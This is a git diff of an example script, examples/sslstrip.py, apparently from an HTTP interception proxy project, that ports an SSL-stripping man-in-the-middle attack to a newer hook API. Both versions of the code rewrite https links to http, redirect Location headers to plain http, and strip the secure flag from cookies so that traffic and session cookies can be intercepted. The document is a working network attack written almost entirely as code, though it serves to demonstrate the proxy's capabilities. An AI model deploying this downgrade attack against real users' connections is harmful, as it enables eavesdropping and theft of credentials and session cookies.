diff options
Diffstat (limited to 'examples/sslstrip.py')
| -rw-r--r-- | examples/sslstrip.py | 44 |
1 files changed, 20 insertions, 24 deletions
diff --git a/examples/sslstrip.py b/examples/sslstrip.py index 8dde8e3e..0be1f020 100644 --- a/examples/sslstrip.py +++ b/examples/sslstrip.py @@ -1,40 +1,36 @@ -from netlib.http import decoded import re from six.moves import urllib +# set of SSL/TLS capable hosts +secure_hosts = set() -def start(context): - # set of SSL/TLS capable hosts - context.secure_hosts = set() - -def request(context, flow): +def request(flow): flow.request.headers.pop('If-Modified-Since', None) flow.request.headers.pop('Cache-Control', None) # proxy connections to SSL-enabled hosts - if flow.request.pretty_host in context.secure_hosts: + if flow.request.pretty_host in secure_hosts: flow.request.scheme = 'https' flow.request.port = 443 -def response(context, flow): - with decoded(flow.response): - flow.request.headers.pop('Strict-Transport-Security', None) - flow.request.headers.pop('Public-Key-Pins', None) +def response(flow): + flow.request.headers.pop('Strict-Transport-Security', None) + flow.request.headers.pop('Public-Key-Pins', None) - # strip links in response body - flow.response.content = flow.response.content.replace('https://', 'http://') + # strip links in response body + flow.response.content = flow.response.content.replace('https://', 'http://') - # strip links in 'Location' header - if flow.response.headers.get('Location', '').startswith('https://'): - location = flow.response.headers['Location'] - hostname = urllib.parse.urlparse(location).hostname - if hostname: - context.secure_hosts.add(hostname) - flow.response.headers['Location'] = location.replace('https://', 'http://', 1) + # strip links in 'Location' header + if flow.response.headers.get('Location', '').startswith('https://'): + location = flow.response.headers['Location'] + hostname = urllib.parse.urlparse(location).hostname + if hostname: + secure_hosts.add(hostname) + flow.response.headers['Location'] = location.replace('https://', 'http://', 1) - # strip secure flag from 'Set-Cookie' headers - cookies = flow.response.headers.get_all('Set-Cookie') - cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] - flow.response.headers.set_all('Set-Cookie', cookies) + # strip secure flag from 'Set-Cookie' headers + cookies = flow.response.headers.get_all('Set-Cookie') + cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] + flow.response.headers.set_all('Set-Cookie', cookies) |